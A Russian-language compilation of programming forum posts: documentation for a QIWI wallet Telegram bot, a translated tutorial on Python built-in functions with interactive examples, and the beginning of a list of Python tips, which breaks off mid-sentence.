Приложение использует 6 видов API Геокодер и Static API от компании «Яндекс»
работают в связке с QIWI-Terminal-Map API и FreeGEOIP для отображения
пользователю карты терминалов или их адресов. Так же у пользователя есть
возможность отправить своё местоположение.
(модули)
urllib —
отправка GET запросов
json — помощь в
отправке POST запросов и работа с локализацией
time — помощь в
отправке POST запросов (UNIX TIME)
requests —
отправка POST запросов
os — очистка
рабочей папки после отправки изображения чека
telegram
(Python-Telegram-Bot) — взаимодействие с серверами Telegram
(классы ошибок)
QiwiError(Exception)
SyntaxisError(QiwiError) "Query execution failed"
TokenError(QiwiError) "Wrong TOKEN"
class NoRightsError(QiwiError): "No right"
TransactionNotFound(QiwiError) "Transaction not found or missing payments with specified characteristics"
WalletError(QiwiError) "Wallet not found"
HistoryError(QiwiError) "Too many requests, the service is temporarily unavailable"
MapError(QiwiError) "Map processing errors"
NotFoundAddress(MapError) "Could not find address"
CheckError(QiwiError) "Could not get check"
WrongEmail(CheckError) "Wrong Email address"
WrongNumber(QiwiError) "Wrong phone number"
TransactionError(QiwiError) "Failed to carry out the transaction"
__class UserQiwi
UserQiwi.url = https://edge.qiwi.com/
self.token(str) = токен пользователя
self.headers(dict) = headerы для выполнения запросов
self.urls(dict) = формы заполнения ссылок для запросов
self.currency(dict) = «конвертер валюты»
self.identification(dict) = «конвертер идентификаторов»
self.user_date(dict) = информация о пользователе
__class UserQiwi
:smile24: Данные представлены в виде:
(Название | Переменные | Описание | Тип возвращаемых данных) :smile24:
(__init__self | token | объявляет нового пользователя | None)
(change_tokenself | new_token | меняет токен пользователя | None)
(get_user_token | self | возвращает пользовательски токен | str)
(get_balance | self | возвращает баланс счетов пользователя | str)
(update_info | self | обновляет self.user_data | None)
(get_info | self | возвращает информацию о пользователе | str)
__class UserQiwi
:smile24: Данные представлены в виде: (Название | Переменные | Описание | Тип возвращаемых данных) :smile24:
(get_last_transactionsself | rows
(по умолчанию = 10) | Возвращает последние транзакции пользователя | str)
(get_info_about_transaction | self | transaction_id | Возвращает информацию по транзакции | str)
(get_map_terminates | self, address
(по умолчанию None) | Возвращает ссылку на изображение карты и адреса терминалов | dict)
(get_image_checkself | transaction_id, file_name (по умолчанию «check.jpg») | Создает изображение чека указанной транзакции (не работает с IN типом транзакций) | None)
(send_check_emailself | transaction_id, email
(по умолчанию None) | Отправляет изображение чека на почту. Если почта не указана используется почта пользователя | None)
__class UserQiwi
:smile24: Данные представлены в виде:
(Название | Переменные | Описание | Тип возвращаемых данных) :smile24:
(transaction_telephoneself | amount, number
(по умолчанию None) | Переводит средства со счета владельца на указанный номер. Если такого нет, используется номер пользователя | None)
transaction_qiwiself | account_id, amount | Переводит средства со счета владельца на указанный счет | None)
:smile30:Функции QIWI_API :smile30:
run_the_query(headers, url) — Выполняет GET запрос (urllib + json) | dict/bool
found_address(ip) — Выполняет GET запрос (requests). Возвращает город
определенный по ip адресу
str/bool
write_file(headers, url, file_name) — Выполняет
GET запрос (urllib). Записывает изображение чека в указанный файл. | bool found_id(number) — Выполняет POST запрос
(requests). Возвращает id мобильного оператора. | str/bool
_:smile37:_Bot.py :smile37:
:smile24: Данные представлены в виде:
(Название | Переменные | Описание) :smile24:
(startbot | update | Начало работы с ботом)
(check_tokenbot| update, user_data | Проверка токена)
(balancebot | update, user_data | Отправляет баланс)
(transactionsbot | updateНачало | диалога по поводу транзакций.)
(check_statusbot | update | Просьба ввести id транзакции)
(answer_about_transactionbot | update, user_data | Отправляет информацию о транзакции)
(lastbot | update, user_data | Отпрвляет информацию о последних транзакицях)
_:smile37:_Bot.py :smile37:
:smile24: Данные представлены в виде:
(Название | Переменные | Описание) :smile24:
(terminalsbot | update, user_data | Начало работы с транзакциями)
(take_command_found_addressbot | update, user_data | Выбор типа ответа)
(take_addressbot | update | Просьба ввести адрес)
(take_locaionbot | update, user_data | Обработка координат геолокации пользователя)
(answer_about_terminatesbot | update | Отправка ответа)
(optionsbot | update | Начало диалога по поводу настроек)
(get_infobot | update, user_data | Отпрвляет информацию о пользователе)
_:smile37:_Bot.py :smile37:
:smile24: Данные представлены в виде:
(Название | Переменные | Описание) :smile24:
(take_new_tokenbot | update | Смена пользователя)
(update_userbot | update, user_data | Обновление информации аккаунта)
(versionbot | update | Отправка версии программы)
(checkbot | update, user_data | Начало диалога про чеки)
(dialog_emailbot | update, user_data | Начало диалога про почту)
(enter_emailbot | update | Просьба ввести email)
(get_emailbot | update, user_data | Получение email. Просьба ввести id транзакции)
_:smile37:_Bot.py :smile37:
:smile24: Данные представлены в виде:
(Название | Переменные | Описание) :smile24:
(enter_transaction_idbot | update | Просьба ввести id транзакции.)
(get_transaction_idbot | update, user_data | Вывод на экран/отправка на почту копии чека)
(paybot | update, user_data | Начало диалога про оплату)
(enter_user_idbot | update, user_data | Просьба ввести id клиента)
(get_user_idbot | update, user_data | Получение id клиента. Просьба ввести сумму перевода.)
(mobile_phonebot | update, user_data | Начало диалога про выбор номера мобильного телефона)
(enter_mobilebot | update | Просьба ввести номер мобильного телефона)
_:smile37:_Bot.py :smile37:
:smile24: Данные представлены в виде:
(Название | Переменные | Описание):smile24:
(get_mobilebot | update, user_data | Получение номера мобильного телефона. Просьба ввести сумму оплаты.)
(enter_amountbot | update | Просьба ввести сумму оплаты.)
(get_amountbot | update, user_data | Оплата
мобильного/перевод
клиенту Qiwi)
(wrong_answerbot | update | Отправка указания на использование клавиатуры)
(backbot | update | Возврат к начальному меню.)
(stopbot | update | Завершение работы с ботом)
Инструкция и бот:
Скачать
(кликабельно)
В Python существуют десятки встроенных функций и классов, сотни инструментов, входящих в стандартную библиотеку Python, и тысячи сторонних библиотек на PyPI. Держать всё в голове начинающему программисту нереально. В статье расскажем про стандартные встроенные функции Python: какие используются часто, а какие вам, вероятно, не пригодятся никогда.
Чтобы разобраться, на какие функции стоит обратить внимание, их следует разделить на группы:
Встроенные функции в первых двух категориях являются основными. Они в конечном итоге будут нужны почти всем начинающим программистам на Python. Встроенные модули в следующих двух категориях являются специализированными, но потребности в них будут варьироваться в зависимости от вашей специализации. Категория 5 — это скрытые встроенные функции. Они очень полезны, когда в них есть необходимость, но многим программистам Python они, вероятно, никогда не понадобятся.
Общеизвестные функции
Если вы уже писали код на Python, эти модули должны быть вам знакомы.
print
Вряд ли найдётся разработчик, даже начинающий, который не знает эту функцию
вывода. Как минимум реализация «Hello,
World!» требует использования
данного метода. Но вы можете не знать о различных аргументах, которые можно
передавать в print.
Python:Copy to clipboard
>>> words = ["Welcome", "to", "Python"]
>>> print(words)
['Welcome', 'to', 'Python']
>>> print(*words, end="!\n")
Welcome to Python!
>>> print(*words, sep="\n")
Welcome
to
Python
len
В Python нет синтаксиса вроде my_list.length() или my_string.length, вместо
этого используются поначалу непривычные конструкции len(my_list) и
len(my_string).
Python:Copy to clipboard
>>> words = ["Welcome", "to", "Python"]
>>> len(words)
3
Нравится вам такая реализация или нет, другой альтернативы не предусмотрено, поэтому к ней нужно привыкнуть.
str
К сожалению, в отличие от многих других языков программирования, в Python
нельзя объединять строки и числа.
Python:Copy to clipboard
>>> version = 3
>>> "Python " + version
Traceback (most recent call last):
File "", line 1, in
TypeError: can only concatenate str (not "int") to str
Python отказывается приводить целое число 3 к типу строка, поэтому нужно сделать это самостоятельно, используя встроенную функцию str (технически это класс, но с целью уменьшить количество ненужной информации будем принимать все методы за функции).
Python:Copy to clipboard
>>> version = 3
>>> "Python " + str(version)
'Python 3'
int
Если нужно пользовательский ввод преобразовать в integer, эта функция
незаменима. Она может преобразовывать строки в целые числа.
Python:Copy to clipboard
>>> program_name = "Python 3"
>>> version_number = program_name.split()[-1]
>>> int(version_number)
3
Эту функцию также можно использовать для отсечения дробной части у числа с плавающей точкой.
Python:Copy to clipboard
>>> from math import sqrt
>>> sqrt(28)
5.291502622129181
>>> int(sqrt(28))
5
Обратите внимание, если нужно обрезать дробную часть при делении, оператор «//» более уместен (с отрицательными числами это работает иначе).
Python:Copy to clipboard
int (3/2) == 3 // 2
float
Если строка, которую надо конвертировать в число, не является целым числом,
здесь поможет метод float.
Python:Copy to clipboard
>>> program_name = "Python 3"
>>> version_number = program_name.split()[-1]
>>> float(version_number)
3.0
>>> pi_digits = '3.141592653589793238462643383279502884197169399375'
>>> len(pi_digits)
50
>>> float(pi_digits)
3.141592653589793
Float также можно использовать для преобразования целых чисел в числа с плавающей запятой.
В Python 2 такое преобразование необходимо, но в Python 3 целочисленное деление больше не является чем-то особенным (если вы специально не используете оператор «//»). Поэтому больше не нужно использовать float для этой цели, теперь float(x)/yможно легко заменить на x/y.
list
Эта функция может очень облегчить задачу, если вы хотите составить список из
итераций цикла.
Python:Copy to clipboard
>>> numbers = [2, 1, 3, 5, 8]
>>> squares = (n**2 for n in numbers)
>>> squares
at 0x7fd52dbd5930>
>>> list_of_squares = list(squares)
>>> list_of_squares
[4, 1, 9, 25, 64]
При работе со списком метод copy позволяет создать его копию.
Python:Copy to clipboard
>>> copy_of_squares = list_of_squares.copy()
Если вы не знаете, с какими элементами работаете, функция list является более общим способом перебора элементов и их копирования.
Python:Copy to clipboard
>>> copy_of_squares = list(list_of_squares)
Также можно использовать списковое включение, но делать это не рекомендуется.
Обратите внимание, когда вы хотите создать пустой список, следует использовать буквальный синтаксис списка («[ ]»).
Python:Copy to clipboard
>>> my_list = list() # Так делать нельзя
>>> my_list = [] # Так можно
Использование «[ ]» считается более идиоматическим, так как эти скобки на самом деле выглядят как список Python.
tuple
Эта функция во многом похожа на функцию list, за исключением того, что вместо
списков она создает кортежи.
Python:Copy to clipboard
>>> numbers = [2, 1, 3, 4, 7]
>>> tuple(numbers)
(2, 1, 3, 4, 7)
Если вы пытаетесь создать хешируемую коллекцию (например, ключ словаря), стоит отдать предпочтению кортежу вместо списка.
dict
Эта функция создаёт новый словарь.
Подобно спискам и кортежам, dict эквивалентна проходу по массиву пар «ключ- значение» и созданию из них словаря.
Дан список кортежей, по два элемента в каждом.
Python:Copy to clipboard
>>> color_counts = [('red', 2), ('green', 1), ('blue', 3), ('purple', 5)]
Выведем его на экран с помощью цикла.
Python:Copy to clipboard
>>> colors = {}
>>> for color, n in color_counts:
... colors[color] = n
...
>>> colors
{'red': 2, 'green': 1, 'blue' 3, 'purple': 5}
То же самое, но с использованием dict.
colors = dict(color_counts)
colors
{'red': 2, 'green': 1, 'blue' 3, 'purple': 5}
Функция dict может принимать 2 типа аргументов:
Поэтому следующий код также будет работать.
Python:Copy to clipboard
>>> colors
{'red': 2, 'green': 1, 'blue' 3, 'purple': 5}
>>> new_dictionary = dict(colors)
>>> new_dictionary
{'red': 2, 'green': 1, 'blue' 3, 'purple': 5}
Функция dict также может принимать ключевые слова в качестве аргументов для создания словаря со строковыми ключами.
Python:Copy to clipboard
>>> person = dict(name='Trey Hunner', profession='Python Trainer')
>>> person
{'name': 'Trey Hunner', 'profession': 'Python Trainer'}
Но рекомендуется всё же использовать литералы вместо ключевых слов.
Python:Copy to clipboard
>>> person = {'name': 'Trey Hunner', 'profession': 'Python Trainer'}
>>> person
{'name': 'Trey Hunner', 'profession': 'Python Trainer'}
Такой синтаксис более гибок и немного быстрее. Но самое главное он более чётко передаёт факт того, что вы создаёте именно словарь.
Как в случае со списком и кортежем, пустой словарь следует создавать с использованием буквального синтаксиса («{ }»).
Python:Copy to clipboard
>>> my_list = dict() # Так делать нельзя
>>> my_list = {} # Так можно
Использование «{ }» более идиоматично и эффективно с точки зрения использования процессора. Обычно для создания словарей используются фигурные скобки, dictвстречается гораздо реже.
set
Функция set создаёт новый набор. Она принимает итерации из хешируемых значений
(строк, чисел или других неизменяемых типов) и возвращает set.
Python:Copy to clipboard
>>> numbers = [1, 1, 2, 3, 5, 8]
>>> set(numbers)
{1, 2, 3, 5, 8}
Создать пустой набор с «{ }» нельзя (фигурные скобки создают пустой словарь). Поэтому функция set — лучший способ создать пустой набор.
Python:Copy to clipboard
>>> numbers = set()
>>> numbers
set()
Можно использовать и другой синтаксис.
Python:Copy to clipboard
>>> {*()} # Так можно создать пустой набор
set()
Такой способ имеет недостаток — он сбивает с толку (он основан на редко используемой функции оператора *), поэтому он не рекомендуется.
range
Эта функция создаёт объект range, который представляет собой диапазон чисел.
Python:Copy to clipboard
>>> range(10_000)
range(0, 10000)
>>> range(-1_000_000_000, 1_000_000_000)
range(-1000000000, 1000000000)
Результирующий диапазон чисел включает начальный номер, но исключает конечный (range(0, 10) не включает 10).
Данная функция полезна при переборе чисел.
Python:Copy to clipboard
>>> for n in range(0, 50, 10):
... print(n)
...
0
10
20
30
40
Обычный вариант использования — выполнить операцию n раз.
Python:Copy to clipboard
first_five = [get_things() for _ in range(5)]
Функция range в Python 2 возвращает список. Это означает, что примеры кода выше будут создавать очень большие списки. Range в Python 3 работает как xrange в Python 2. Числа вычисляются «более лениво» при проходе по диапазону.
Функции, неочевидные для новичков
bool
Эта функция проверяет достоверность (истинность) объектов Python. Относительно
чисел будет выполняться проверка на неравенство нулю.
Python:Copy to clipboard
>>> bool(5)
True
>>> bool(-1)
True
>>> bool(0)
False
Применяя bool к коллекциям, будет проверяться их длина (больше 0 или нет).
Python:Copy to clipboard
>>> bool('hello')
True
>>> bool('')
False
>>> bool(['a'])
True
>>> bool([])
False
>>> bool({})
False
>>> bool({1: 1, 2: 4, 3: 9})
True
>>> bool(range(5))
True
>>> bool(range(0))
False
>>> bool(None)
False
Проверка истинности очень важна в Python. Вместо того, чтобы задавать вопросы о длине контейнера, многие новички задают проверку истинности.
Python:Copy to clipboard
# Вместо этого
if len(numbers) == 0:
print("The numbers list is empty")
# многие делают так
if not numbers:
print("The numbers list is empty")
Данная функция используется редко. Но, если нужно привести значение к логическому типу для проверки его истинности, bool вам необходима.
enumerate
Если нужно в цикле посчитать количество элементов (по одному элементу за раз),
эта функция может быть очень полезной. Такая задача может показаться
специфической, но она бывает нужна довольно часто.
Например, если нужно отслеживать номер строки в файле.
Python:Copy to clipboard
>>> with open('hello.txt', mode='rt') as my_file:
... for n, line in enumerate(my_file, start=1):
... print(f"{n:03}", line)
...
001 This is the first line of the file
002 This is the second line
003 This is the last line of the file
Enumerate также часто используется для отслеживания индекса элементов в последовательности.
Python:Copy to clipboard
def palindromic(sequence):
"""Возвращает True, если последовательность является палиндромом."""
for i, item in enumerate(sequence):
if item != sequence[-(i+1)]:
return False
return True
Также следует обратить внимание, что новички в Python часто используют range(len(sequence)). Если вы когда-нибудь встретите конструкции типа range(len(...)), лучше заменить её на enumerate. Она поможет упростить конструкцию операторов.
Python:Copy to clipboard
def palindromic(sequence):
"""Возвращает True, если последовательность является палиндромом."""
for i in range(len(sequence)):
if sequence[i] != sequence[-(i+1)]:
return False
return True
zip
Эта функция ещё более специализирована, чем enumerate. Zip используется для
перебора сразу нескольких объектов одновременно.
Python:Copy to clipboard
>>> one_iterable = [2, 1, 3, 4, 7, 11]
>>> another_iterable = ['P', 'y', 't', 'h', 'o', 'n']
>>> for n, letter in zip(one_iterable, another_iterable):
... print(letter, n)
...
P 2
y 1
t 3
h 4
o 7
n 11
По сравнению с enumerate, последняя функция удобна, когда нужна индексация во время цикла. Если нужно обрабатывать несколько объектов одновременно, zipпредпочтительнее enumerate.
reversed
Функция reversed, как enumerate и zip, возвращает итератор.
Python:Copy to clipboard
>>> numbers = [2, 1, 3, 4, 7]
>>> reversed(numbers)
<list_reverseiterator object at 0x7f3d4452f8d0>
Единственное, что можно сделать с этим итератором, пройтись по нему (но только один раз).
Python:Copy to clipboard
>>> reversed_numbers = reversed(numbers)
>>> list(reversed_numbers)
[7, 4, 3, 1, 2]
>>> list(reversed_numbers)
[]
Подобно enumerate и zip, reversed является своего рода вспомогательной функцией в циклах. Её использование можно увидеть исключительно в цикле for.
Python:Copy to clipboard
>>> for n in reversed(numbers):
... print(n)
...
7
4
3
1
2
Есть несколько и других способов перевернуть списки в Python.
Python:Copy to clipboard
# Синтаксис нарезки
for n in numbers[::-1]:
print(n)
# Метод переворота на месте
numbers.reverse()
for n in numbers:
print(n)
Данная функция, как правило, является лучшим способом «перевернуть» любой список (а также набор, массив и т. д.) в Python.
В отличие от numbers.reverse(), reversed не изменяет список, а возвращает итератор перевёрнутых элементов.
reversed(numbers) (в отличие от numbers [:: - 1]) не создает новый список. Возвращаемый им итератор извлекает следующий элемент в обратном порядке при проходе по циклу. Также синтаксис reversed(numbers) намного более читабелен, чем numbers [:: - 1].
Можно использовать факт, что reversed не копирует список. Если объединить его с функцией zip, можно переписать функцию palindromic (из раздела enumerate), не занимая дополнительной памяти (не копируя объект).
Python:Copy to clipboard
def palindromic(sequence):
"""Возвращает True, если последовательность является палиндромом."""
for n, m in zip(sequence, reversed(sequence)):
if n != m:
return False
return True
sum
Эта функция берёт набор чисел и возвращает их сумму.
Python:Copy to clipboard
>>> sum([2, 1, 3, 4, 7])
17
В Python есть много вспомогательных функций, которые выполняют циклы за вас (отчасти потому, что они хорошо сочетаются с генератор-выражениями).
Python:Copy to clipboard
>>> numbers = [2, 1, 3, 4, 7, 11, 18]
>>> sum(n**2 for n in numbers)
524
min и max
Эти функции выдают минимальное и максимальное число из набора соответственно.
Python:Copy to clipboard
>>> numbers = [2, 1, 3, 4, 7, 11, 18]
>>> min(numbers)
1
>>> max(numbers)
18
Данные методы сравнивают элементы, используя оператор <. Поэтому, все передаваемые в них значения должны быть упорядочены и сопоставимы друг с другом.
Min и max также принимают key-свойство, позволяющее настроить, что на самом деле означают «минимум» и «максимум» для конкретных объектов.
Python:Copy to clipboard
>>> fruits = ['kumquat', 'Cherimoya', 'Loquat', 'longan', 'jujube']
>>> sorted(fruits, key=len)
['Loquat', 'longan', 'jujube', 'kumquat', 'Cherimoya']
sorted
Эта функция принимает любой набор элементов и возвращает новый список всех
значений в отсортированном порядке.
Python:Copy to clipboard
>>> numbers = [1, 8, 2, 13, 5, 3, 1]
>>> words = ["python", "is", "lovely"]
>>> sorted(words)
['is', 'lovely', 'python']
>>> sorted(numbers, reverse=True)
[13, 8, 5, 3, 2, 1, 1]
Данная функция (как min и max) сравнивает элементы, используя оператор <, поэтому все значения, переданные ей, должны быть упорядочены.
Sorted также позволяет настраивать сортировку с помощью key-свойства.
any и all
Эти функции могут быть использованы в паре с генератор-выражениями, чтобы
определить соответствие элементов заданному условию.
Используя all, можно переписать функцию palindromic следующим образом.
Python:Copy to clipboard
def palindromic(sequence):
"""Возвращает True, если последовательность является палиндромом."""
return all(
n == m
for n, m in zip(sequence, reversed(sequence))
)
Отрицание условия и возвращаемого значения позволит также использовать any в этом примере точно также (что усложнит конструкцию, но вполне сойдёт в качестве примера использования).
Python:Copy to clipboard
def palindromic(sequence):
"""Возвращает True, если последовательность является палиндромом."""
return not any(
n != m
for n, m in zip(sequence, reversed(sequence))
)
5 функций для отладки
Эти функции часто игнорируются, но будут полезны для отладки и устранения
неисправностей кода.
breakpoint
Если нужно приостановить выполнение кода и перейти в командную строку Python,
эта функция вам пригодится. Вызов breakpoint перебросит вас в отладчик Python.
Эта встроенная функция была добавлена в Python 3.7, но если вы работаете в более старых версиях, можете получить тот же результат с помощью import pdb; pdb.set_trace().
dir
Эта функция может использоваться в двух случаях:
Из примера можно увидеть локальные переменные сразу после запуска и после создания новой переменной x.
Python:Copy to clipboard
>>> dir()
['__annotations__', '__doc__', '__name__', '__package__']
>>> x = [1, 2, 3, 4]
>>> dir()
['__annotations__', '__doc__', '__name__', '__package__', 'x']
Если в dir передать созданный список x, на выходе можно увидеть все его атрибуты.
Python:Copy to clipboard
>>> dir(x)
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']
В выведенном списке атрибутов можно увидеть его типичные методы (append, pop, remove и т. д.) , а также множество более сложных методов для перегрузки операторов.
vars
Эта функция является своего рода смесью двух похожих инструментов: locals() и
dict.
Когда vars вызывается без аргументов, это эквивалентно вызову locals(), которая показывает словарь всех локальных переменных и их значений.
Python:Copy to clipboard
>>> vars()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
Когда вызов происходит с аргументом, vars получает доступ к атрибуту dict, который представляет собой словарь всех атрибутов экземпляра.
Python:Copy to clipboard
>>> from itertools import chain
>>> vars(chain)
mappingproxy({'__getattribute__': , '__iter__': , '__next__': , '__new__': , 'from_iterable': <method 'from_iterable' of 'itertools.chain' objects>, '__reduce__': <method '__reduce__' of 'itertools.chain' objects>, '__setstate__': <method '__setstate__' of 'itertools.chain' objects>, '__doc__': 'chain(*iterables) --> chain object\n\nReturn a chain object whose .__next__() method returns elements from the\nfirst iterable until it is exhausted, then elements from the next\niterable, until all of the iterables are exhausted.'})
Перед использованием vars было бы неплохо сначала обратиться к dir.
type
Эта функция возвращает тип объекта, который вы ей передаете.
Тип экземпляра класса есть сам класс.
Python:Copy to clipboard
>>> x = [1, 2, 3]
>>> type(x)
<class 'list'>
Тип класса — это его метакласс, обычно это type.
Python:Copy to clipboard
>>> type(list)
<class 'type'>
>>> type(type(x))
<class 'type'>
Атрибут class даёт тот же результат, что и функция type, но рекомендуется использовать второй вариант.
Python:Copy to clipboard
>>> x.__class__
<class 'list'>
>>> type(x)
<class 'list'>
Функция type, кроме отладки, иногда полезна и в реальном коде (особенно в объектно-ориентированном программировании с наследованием и пользовательскими строковыми представлениями).
Обратите внимание, что при проверке типов обычно вместо type используется функция isinstance. Также стоит понимать, что в Python обычно не принято проверять типы объектов (вместо этого практикуется утиная типизация).
help
Если вы находитесь в Python Shell или делаете отладку кода с использованием
breakpoint, и хотите знать, как работает определённый объект, метод или
атрибут, функция help поможет вам.
В действительности вы, скорее всего, будете обращаться за помощью к поисковой системе. Но если вы уже находитесь в Python Shell, вызов help(list.insert) будет быстрее, чем поиск документации в Google.
Функции, которые пригодятся позже
В начале изучения Python эти функции вам по большей части будут не нужны, но в
конечном итоге они вам понадобятся.
open
Эта функция служит для открытия файла и последующей работы с ним. Но, если вы
не работаете с файлами напрямую, то она вам может и не пригодиться.
Несмотря на то, что работа с файлами очень распространена, далеко не все программисты Python работают с файлами через open. Например, разработчики Django могут не использовать её вообще.
input
Эта функция запрашивает у пользователя ввод, ждёт нажатия клавиши Enter, а
затем возвращает набранный текст.
Чтение из стандартного ввода — это один из способов получить входные данные в программе. Но есть и много других способов: аргументы командной строки, чтение из файла, чтение из базы данных и многое другое.
repr
Эта функция необходима для представления объекта в читабельном виде.
Для многих объектов функции str и repr работают одинаково.
Python:Copy to clipboard
>>> str(4), repr(4)
('4', '4')
>>> str([]), repr([])
('[]', '[]')
Но есть объекты, для которых их применение различается.
Python:Copy to clipboard
>>> str('hello'), repr("hello")
('hello', "'hello'")
>>> from datetime import date
>>> str(date(2020, 1, 1)), repr(date(2020, 1, 1))
('2020-01-01', 'datetime.date(2020, 1, 1)')
Строковое представление, которое вы видите в Python Shell, использует repr, тогда как функция print использует str.
Python:Copy to clipboard
>>> date(2020, 1, 1)
datetime.date(2020, 1, 1)
>>> "hello!"
'hello!'
>>> print(date(2020, 1, 1))
2020-01-01
>>> print("hello!")
hello!
Также repr используется при ведении лог-журнала, обработке исключений и реализации более сложных методов.
super
Эта функция очень важна, если используется наследование одного класса от
другого.
Многие пользователи Python редко создают классы. Они не являются важной частью Python, хоть для многих типов программирования они необходимы. Например, вы не можете использовать веб-фреймворк Django без создания классов.
property
Эта функция является
декоратором и
дескриптором.
Декоратор позволяет создать атрибут, который всегда будет содержать возвращаемое значение конкретного вызова функции. Это проще всего понять на примере.
Пример класса, который использует property.
Python:Copy to clipboard
class Circle:
def __init__(self, radius=1):
self.radius = radius
@property
def diameter(self):
return self.radius * 2
Здесь вы можете увидеть доступ к атрибуту diameter объекта Circle.
Python:Copy to clipboard
>>> circle = Circle()
>>> circle.diameter
2
>>> circle.radius = 5
>>> circle.diameter
10
Если вы занимаетесь объектно-ориентированным программированием на Python, вам, вероятно, захочется узнать о property больше в какой-то момент. В отличие от других объектно-ориентированных языков, в Python property используется вместо методов getter и setter.
issubclass и isinstance
Функция issubclass проверяет, является ли класс подклассом одного или
нескольких других классов.
Python:Copy to clipboard
>>> issubclass(int, bool)
False
>>> issubclass(bool, int)
True
>>> issubclass(bool, object)
True
Функция isinstance проверяет, является ли объект экземпляром одного или нескольких классов.
Python:Copy to clipboard
>>> isinstance(True, str)
False
>>> isinstance(True, bool)
True
>>> isinstance(True, int)
True
>>> isinstance(True, object)
True
Функция isinstance может быть представлена как делегирование в issubclass.
Python:Copy to clipboard
>>> issubclass(type(True), str)
False
>>> issubclass(type(True), bool)
True
>>> issubclass(type(True), int)
True
>>> issubclass(type(True), object)
True
Если вы перегружаете операторы, вам может понадобиться использование isinstance, но в целом в Python стараются избегать строгой проверки типов, поэтому особой нужды в данных функциях нет.
hasattr, getattr, setattr и delattr
Если нужно работать с атрибутами объекта, но имя атрибутов является
динамическим и постоянно меняется, данные функции вам будут необходимы.
Например, есть объект thing, который нужно проверить на конкретное значение.
Python:Copy to clipboard
>>> class Thing: pass
...
>>> thing = Thing()
Функция hasattr позволяет проверить, имеет ли объект определённый атрибут.
Python:Copy to clipboard
>>> hasattr(thing, 'x')
False
>>> thing.x = 4
>>> hasattr(thing, 'x')
True
Функция getattr позволяет получить значение атрибута (с необязательным значением по умолчанию, если атрибут не существует).
Python:Copy to clipboard
>>> getattr(thing, 'x')
4
>>> getattr(thing, 'x', 0)
4
>>> getattr(thing, 'y', 0)
0
Функция setattr позволяет установить значение атрибута.
Python:Copy to clipboard
>>> setattr(thing, 'x', 5)
>>> thing.x
5
И delattr соответственно удаляет атрибут.
Python:Copy to clipboard
>>> delattr(thing, 'x')
>>> thing.x
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'Thing' object has no attribute 'x'
classmethod и staticmethod
Если у вас есть метод, который должен вызываться в экземпляре или в классе,
вам нужен декоратор classmethod. Фабричные методы (альтернативные
конструкторы) являются распространённым случаем для этого.
Python:Copy to clipboard
class RomanNumeral:
"""Римская цифра, представленная как строка и число."""
def __init__(self, number):
self.value = number
@classmethod
def from_string(cls, string):
return cls(roman_to_int(string)) # Функция пока еще не существует
Немного сложнее придумать хорошее использование staticmethod, так как всегда можно использовать функцию уровня модуля вместо статического метода.
Python:Copy to clipboard
class RomanNumeral:
"""Римская цифра, представленная как строка и число."""
SYMBOLS = {'M': 1000, 'D': 500, 'C': 100, 'L': 50, 'X': 10, 'V': 5, 'I': 1}
def __init__(self, number):
self.value = number
@classmethod
def from_string(cls, string):
return cls(cls.roman_to_int(string))
@staticmethod
def roman_to_int(numeral):
total = 0
for symbol, next_symbol in zip_longest(numeral, numeral[1:]):
value = RomanNumeral.SYMBOLS[symbol]
next_value = RomanNumeral.SYMBOLS.get(next_symbol, 0)
if value < next_value:
value = -value
total += value
return total
Функция roman_to_int не требует доступа к экземпляру или классу, поэтому ей не нужно быть @classmethod. Фактически нет необходимости делать эту функцию staticmethod(вместо classmethod). staticmethod является просто более сдерживающим, чтобы сигнализировать о том факте, что функция не зависима от класса, в котором она находится.
next
Данная функция возвращает следующий элемент в итераторе.
Она может работать со следующими видами итераторов:
Функция next может быть представлена как способ вручную перебрать набор, чтобы получить один единственный элемент, а затем выйти из перебора.
Функции, которые когда-нибудь можно выучить
Следующие встроенные функции Python определённо не бесполезны, но они более
специализированы.
Эти функции вам, возможно, будут нужны, но также есть шанс, что вы никогда не прибегнете к ним в своём коде.
Прочие специфические функции
Заключение
Если вы только начинаете свой путь в изучении Python, нет необходимости
изучать все встроенные функции сейчас. Не торопитесь, сосредоточьтесь на
первых двух пунктах (общеизвестные и упускаемые из виду), а после можете
перейти и к другим, если/когда они вам понадобятся.
Автор: treyhunner.com
Перевод статьи: Klara Oswald
Python — один из самых популярных и востребованных языков программирования. На это есть несколько причин:
В процессе работы с Python каждый находит для себя какие-то полезные модули и приёмы. В этой подборке вы узнаете о некоторых полезных хитростях.
all и any
Одна из многих причин популярности Python — его читабельность и
выразительность.
Часто шутят, что Python — это «исполняемый псевдокод». Однако когда вы можете писать код таким образом, становится сложно не согласиться:
Code:Copy to clipboard
x = [True, True, False]
if any(x):
print("Как минимум один True")
if all(x):
print("Ни одного False")
if any(x) and not all(x):
print("Как минимум один True и один False")
bashplotlib
Хотите строить графики в консоли?
Code:Copy to clipboard
$ pip install bashplotlib
Стройте на здоровье.
collections
В Python есть классные встроенные типы данных, но порой они ведут себя не
совсем так, как хотелось бы.
К счастью, во встроенной библиотеке Python есть модуль collections с удобными дополнительными типами данных:
Code:Copy to clipboard
from collections import OrderedDict, Counter
# Запоминает порядок добавления ключей
x = OrderedDict(a=1, b=2, c=3)
# Считает частоту каждого символа
y = Counter("Hello World!")
dir
Когда-нибудь задумывались о том, как заглянуть внутрь объекта в Python и
посмотреть на его атрибуты? Конечно, задумывались.
Используем командную строку:
Code:Copy to clipboard
>>> dir()
>>> dir("Hello World")
>>> dir(dir)
Это может пригодиться при интерактивной сессии в Python, а также для динамического изучения объектов и модулей, с которыми вы работаете.
Больше можно узнать в официальной документации.
emoji
Да, серьёзно.
$ pip install emoji
И не делайте вид, что не хотите попробовать:
Code:Copy to clipboard
from emoji import emojize
print(emojize(":thumbs_up:"))
?
fromfuture** import**
Одним из последствий популярности Python является то, что постоянно
